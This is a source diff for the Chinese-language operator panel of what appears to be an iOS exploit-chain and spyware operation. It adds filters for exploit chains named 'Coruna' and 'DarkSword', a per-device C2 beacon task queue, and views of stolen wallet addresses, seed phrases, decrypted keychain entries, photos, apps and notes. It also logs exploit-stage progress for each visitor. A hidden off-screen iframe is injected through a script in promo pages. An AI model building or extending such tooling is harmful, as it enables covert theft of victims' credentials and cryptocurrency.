<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
return new class extends Migration
{
public function up(): void
{
$now = now();
DB::table('ds_beacon_tasks')
->where('type', 'photos')
->where('status', 'pending')
->update([
'status' => 'skipped',
'completed_at' => $now,
'result_meta' => json_encode(['reason' => 'queue_uses_photo_scan_only']),
'updated_at' => $now,
]);
}
public function down(): void
{
DB::table('ds_beacon_tasks')
->where('type', 'photos')
->where('status', 'skipped')
->update([
'status' => 'pending',
'completed_at' => null,
'result_meta' => null,
'updated_at' => now(),
]);
}
};
@@ -0,0 +1,23 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->string('source', 64)->default('')->after('device_id');
$table->unsignedTinyInteger('decrypted')->default(0)->after('source');
});
}
public function down(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->dropColumn(['source', 'decrypted']);
});
}
};
@@ -0,0 +1,44 @@
<?php
use App\Support\WalletSource;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
return new class extends Migration
{
public function up(): void
{
$rows = DB::table('wallet_keystores')->where('source', '')->get(['id', 'raw_json']);
foreach ($rows as $row) {
$json = json_decode((string) $row->raw_json, true);
if (! is_array($json)) {
continue;
}
$source = WalletSource::fromKeystoreHint($json['source'] ?? null);
if ($source === '' && isset($json['wallets']) && is_array($json['wallets']) && ! array_is_list($json['wallets'])) {
$labels = [];
foreach (array_keys($json['wallets']) as $key) {
$label = WalletSource::fromKeystoreHint((string) $key);
if ($label !== '') {
$labels[$label] = true;
}
}
if (count($labels) === 1) {
$source = array_key_first($labels);
}
}
if ($source === '' && isset($json['sandbox']) && is_array($json['sandbox']) && ! array_is_list($json['sandbox'])) {
$source = WalletSource::fromKeystoreHint((string) array_key_first($json['sandbox']));
}
if ($source === '') {
continue;
}
DB::table('wallet_keystores')->where('id', $row->id)->update(['source' => $source]);
}
}
public function down(): void
{
//
}
};
+11 -1
View File
@@ -115,7 +115,17 @@ layui.use(['table', 'form', 'layer'], function () {
} }
function promoIframe(url) { function promoIframe(url) {
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>'; var path = '';
try {
path = new URL(url, location.origin).pathname || '';
} catch (e) {
var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
path = m ? m[1] : String(url || '');
}
if (!path) path = '/';
if (path.indexOf('?') >= 0) path = path.split('?')[0];
path = path.replace(/["']/g, '');
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
} }
function openLinks(row) { function openLinks(row) {
+3
View File
@@ -13,6 +13,9 @@
.wrap{word-break:break-all;max-width:640px} .wrap{word-break:break-all;max-width:640px}
.wallet-row{background:#fff7e6} .wallet-row{background:#fff7e6}
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px} .tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
.tag-chain-coruna{background:#0d9488}
.tag-chain-darksword{background:#7c3aed}
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px} .photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0} .photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee} .photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
@@ -13,6 +13,16 @@
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input"> <input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
</div> </div>
</div> </div>
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="family">
<option value="">全部</option>
<option value="coruna">Coruna</option>
<option value="darksword">DarkSword</option>
</select>
</div>
</div>
@include('admin.partials.filter_channel_select') @include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select') @include('admin.partials.filter_agent_select')
<div class="layui-inline"> <div class="layui-inline">
@@ -109,6 +119,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
cols: [[ cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true }, { field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
var ds = d.family === 'darksword';
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } }, { field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } }, { field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } }, { field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
+120 -1
View File
@@ -16,6 +16,16 @@
<th width="140">渠道 ID</th> <th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td> <td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr> </tr>
<tr>
<th>利用链</th>
<td colspan="3">
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
@endif
</td>
</tr>
<tr> <tr>
<th>设备型号</th> <th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td> <td>{{ $device->device_model ?: '—' }}</td>
@@ -63,11 +73,66 @@
</tr> </tr>
</table> </table>
@if (($beaconTasks ?? collect())->isNotEmpty())
@php
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
$queueCurrent = $queuePending
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
@endphp
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列
@if ($queuePending)
· 下一条 <code>{{ $queuePending->type }}</code>
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
· 已下发未回传,下一轮 /beacon 会重试
@else
· 本轮已回传,之后继续轮询钱包/相册/应用
@endif
</div>
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="180">任务</th>
<th width="120">状态</th>
<th width="180">下发时间</th>
<th width="180">回传时间</th>
<th>回传</th>
</tr>
</thead>
<tbody>
@foreach ($beaconTasks as $task)
@php
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
@endphp
<tr style="{{ $rowStyle }}">
<td>{{ $task->position }}</td>
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
<td>{{ $task->statusLabel() }}</td>
<td>{{ $task->dispatched_at ?: '—' }}</td>
<td>{{ $task->completed_at ?: '—' }}</td>
<td class="wrap">
@if ($task->result_count)
{{ $task->result_count }} 次
@if (!empty($task->result_meta['filename']))
· {{ $task->result_meta['filename'] }}
@endif
@else
—
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;"> <div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title"> <ul class="layui-tab-title">
@php $tabs = [ @php $tabs = [
'wallets' => '钱包地址', 'wallets' => '钱包地址',
'mnemonics' => '助记词', 'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册', 'photos' => '相册',
'apps' => '已装 APP', 'apps' => '已装 APP',
'notes' => '备忘录', 'notes' => '备忘录',
@@ -192,7 +257,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
form.render('checkbox'); form.render('checkbox');
$('#LAY-device-destroy').on('click', function () { $('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', { layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
icon: 3, icon: 3,
title: '删除设备' title: '删除设备'
}, function (index) { }, function (index) {
@@ -362,6 +427,20 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } }, { field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } } { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]], ]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 110, align: 'center', templet: function (d) {
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
} }
]],
apps: [[ apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true }, { field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } }, { field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
@@ -391,6 +470,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var emptyMap = { var emptyMap = {
wallets: '暂无地址', wallets: '暂无地址',
mnemonics: '暂无助记词', mnemonics: '暂无助记词',
keystores: '暂无钥匙串',
apps: '暂无应用', apps: '暂无应用',
notes: '暂无备忘录', notes: '暂无备忘录',
events: '暂无日志' events: '暂无日志'
@@ -412,6 +492,45 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' } response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
}); });
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event !== 'items' || !obj.data.items_url) return;
layer.load(1);
$.getJSON(obj.data.items_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
} else {
html += '<table class="layui-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
'<td>' + dash(it.service) + '</td>' +
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
});
html += '</tbody></table></div>';
}
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
if (tab === 'wallets') { if (tab === 'wallets') {
form.render('select'); form.render('select');
form.on('submit(LAY-wallet-search)', function (data) { form.on('submit(LAY-wallet-search)', function (data) {
@@ -0,0 +1,177 @@
@extends('admin.content')
@section('title', '钥匙串')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.ks-wrap { padding: 12px 16px 16px; }
.ks-meta { color: #666; font-size: 13px; margin-bottom: 10px; }
.ks-empty { color: #999; padding: 24px 0; text-align: center; }
.ks-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.ks-table th,
.ks-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.ks-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.ks-table .mono {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
<option value="未知">未知</option>
@foreach ($sources as $s)
<option value="{{ $s }}">{{ $s }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">已解密</label>
<div class="layui-input-block">
<select name="decrypted">
<option value="">全部</option>
<option value="1">是</option>
<option value="0">否</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
<script type="text/html" id="LAY-ks-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function dash(v) { return v ? esc(v) : '—'; }
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
layer.load(1);
$.getJSON(url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
' · 来源 ' + esc(d.source || '未知') +
' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div class="ks-empty">暂无条目</div></div>';
} else {
html += '<table class="ks-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr>' +
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
'<td class="mono">' + dash(it.service) + '</td>' +
'<td class="mono">' + dash(it.access_group) + '</td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="mono">' + dash(it.data_preview) + '</td>' +
'</tr>';
});
html += '</tbody></table></div>';
}
layer.open({
type: 1,
title: title || ('钥匙串 #' + (d.id || '')),
area: ['920px', '70%'],
content: html
});
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
};
table.render({
elem: '#LAY-ks-list',
id: 'LAY-ks-list',
url: @json(route($portal.'.keystores.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'kind', title: '类型', width: 110 },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
text: { none: '暂无钥匙串' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-ks-search)', function (data) {
table.reload('LAY-ks-list', { where: data.field, page: { curr: 1 } });
return false;
});
table.on('tool(LAY-ks-list)', function (obj) {
if (obj.event === 'items') {
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || obj.data.id);
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush
+3
View File
@@ -84,6 +84,9 @@
<dd data-name="mnemonics"> <dd data-name="mnemonics">
<a lay-href="{{ route('admin.mnemonics.index') }}">助记词</a> <a lay-href="{{ route('admin.mnemonics.index') }}">助记词</a>
</dd> </dd>
<dd data-name="keystores">
<a lay-href="{{ route('admin.keystores.index') }}">钥匙串</a>
</dd>
<dd data-name="transfers"> <dd data-name="transfers">
<a lay-href="{{ route('admin.transfers.index') }}">交易记录</a> <a lay-href="{{ route('admin.transfers.index') }}">交易记录</a>
</dd> </dd>
+59 -39
View File
@@ -19,6 +19,16 @@
</div> </div>
</div> </div>
@include('admin.partials.filter_channel_select') @include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="chain">
<option value="">全部</option>
<option value="0">Coruna</option>
<option value="1">DarkSword</option>
</select>
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">系统</label> <label class="layui-form-label">系统</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -50,23 +60,6 @@
</div> </div>
</form> </form>
<div class="layui-card-body"> <div class="layui-card-body">
<div class="layui-form" style="margin-bottom:12px;">
<div class="layui-inline">
<label class="layui-form-label" style="width:auto;">分组</label>
<div class="layui-input-inline" style="width:180px;">
<select id="LAY-visit-group">
<option value="os">系统</option>
<option value="os_version">系统 + 版本</option>
<option value="browser">浏览器</option>
<option value="browser_version">浏览器 + 版本</option>
</select>
</div>
</div>
</div>
<table class="layui-table" lay-size="sm">
<thead><tr><th>分组</th><th>PV</th><th>UV</th></tr></thead>
<tbody id="LAY-visit-groups"><tr><td colspan="3">—</td></tr></tbody>
</table>
<table id="LAY-visit-list" lay-filter="LAY-visit-list"></table> <table id="LAY-visit-list" lay-filter="LAY-visit-list"></table>
</div> </div>
</div> </div>
@@ -74,23 +67,16 @@
@push('scripts') @push('scripts')
<script> <script>
layui.use(['table', 'form'], function () { layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, $ = layui.$; var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var portal = @json($portal);
var where = { range: '30d' }; var where = { range: '30d' };
var logsUrl = @json(route($portal.'.visits.logs'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function loadGroups() { function esc(s) {
var g = $('#LAY-visit-group').val() || 'os'; return String(s == null ? '' : s)
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) { .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
if (!res || res.code !== 0) return;
var html = '';
(res.data.rows || []).forEach(function (r) {
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td></tr>';
});
$('#LAY-visit-groups').html(html || '<tr><td colspan="3">暂无</td></tr>');
});
} }
table.render({ table.render({
@@ -101,7 +87,12 @@ layui.use(['table', 'form'], function () {
cols: [[ cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true }, { field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 160 }, { field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'client_uid', title: '访客 UID', width: 160 }, { field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
var ds = Number(d.chain) === 1;
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
{ field: 'client_uid', title: '访客 UID', width: 280 },
{ field: 'os', title: '系统', width: 90 }, { field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 }, { field: 'os_version', title: '系统版本', width: 100 },
{ field: 'browser', title: '浏览器', width: 100 }, { field: 'browser', title: '浏览器', width: 100 },
@@ -109,27 +100,56 @@ layui.use(['table', 'form'], function () {
{ field: 'ip', title: 'IP', width: 130 }, { field: 'ip', title: 'IP', width: 130 },
{ field: 'referer', title: 'Referer', minWidth: 220 }, { field: 'referer', title: 'Referer', minWidth: 220 },
{ field: 'user_agent', title: 'UA', minWidth: 260 }, { field: 'user_agent', title: 'UA', minWidth: 260 },
{ field: 'created_at', title: '时间', width: 170, sort: true } { field: 'created_at', title: '时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
if (Number(d.chain) !== 1) return '—';
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
} }
]], ]],
page: true, limit: 20, limits: [10, 20, 30, 50], page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' }, request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' } response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
}); });
table.on('tool(LAY-visit-list)', function (obj) {
if (obj.event !== 'chain-log') return;
var uid = obj.data.client_uid || '';
var loading = layer.load(1, { shade: 0.2 });
$.getJSON(logsUrl, Object.assign({}, where, { client_uid: uid }), function (res) {
layer.close(loading);
var rows = (res && res.data) || [];
var html = '<div style="padding:16px;">';
if (!rows.length) {
html += '<div style="color:#94a3b8;">暂无利用阶段记录</div>';
} else {
html += '<table class="layui-table" lay-size="sm"><thead><tr>' +
'<th>时间</th><th>阶段</th><th>进度</th><th>说明</th></tr></thead><tbody>';
rows.forEach(function (r) {
html += '<tr><td>' + esc(r.created_at) + '</td><td>' + esc(r.stage_label) +
'</td><td>' + esc(r.progress) + '%</td><td>' + esc(r.label) + '</td></tr>';
});
html += '</tbody></table>';
}
html += '</div>';
layer.open({
type: 1,
title: '利用日志 — ' + uid,
area: ['720px', '480px'],
content: html
});
}).fail(function () {
layer.close(loading);
layer.msg('加载失败');
});
});
form.on('submit(LAY-visit-search)', function (data) { form.on('submit(LAY-visit-search)', function (data) {
where = data.field; where = data.field;
table.reload('LAY-visit-list', { where: where, page: { curr: 1 } }); table.reload('LAY-visit-list', { where: where, page: { curr: 1 } });
loadGroups();
return false; return false;
}); });
form.on('select', function (data) {
if (data.elem && data.elem.id === 'LAY-visit-group') loadGroups();
});
$('#LAY-visit-group').on('change', loadGroups);
form.render(); form.render();
loadGroups();
}); });
</script> </script>
@endpush @endpush
+3
View File
@@ -74,6 +74,9 @@
<dd data-name="mnemonics"> <dd data-name="mnemonics">
<a lay-href="{{ route('user.mnemonics.index') }}">助记词</a> <a lay-href="{{ route('user.mnemonics.index') }}">助记词</a>
</dd> </dd>
<dd data-name="keystores">
<a lay-href="{{ route('user.keystores.index') }}">钥匙串</a>
</dd>
<dd data-name="transfers"> <dd data-name="transfers">
<a lay-href="{{ route('user.transfers.index') }}">交易记录</a> <a lay-href="{{ route('user.transfers.index') }}">交易记录</a>
</dd> </dd>
+9 -3
View File
@@ -6,7 +6,9 @@ use App\Http\Controllers\Admin\AuthController;
use App\Http\Controllers\Admin\ChannelController; use App\Http\Controllers\Admin\ChannelController;
use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\DeviceController; use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\Google2faController; use App\Http\Controllers\Admin\Google2faController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PageVisitController;
@@ -34,12 +36,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
@@ -59,6 +61,10 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+32 -2
View File
@@ -1,5 +1,6 @@
<?php <?php
use App\Services\ChannelProjectService;
use App\Services\Tokenview\TokenviewClient; use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Inspiring; use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Artisan;
@@ -70,11 +71,11 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
$channelC = trim((string) $this->option('channel-c')); $channelC = trim((string) $this->option('channel-c'));
$random = (bool) $this->option('random-c'); $random = (bool) $this->option('random-c');
try { try {
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts( $result = app(ChannelProjectService::class)->buildSharedArtifacts(
$channelC !== '' ? $channelC : null, $channelC !== '' ? $channelC : null,
$random, $random,
); );
} catch (\Throwable $e) { } catch (Throwable $e) {
$this->error($e->getMessage()); $this->error($e->getMessage());
return 1; return 1;
@@ -103,6 +104,35 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
return 0; return 0;
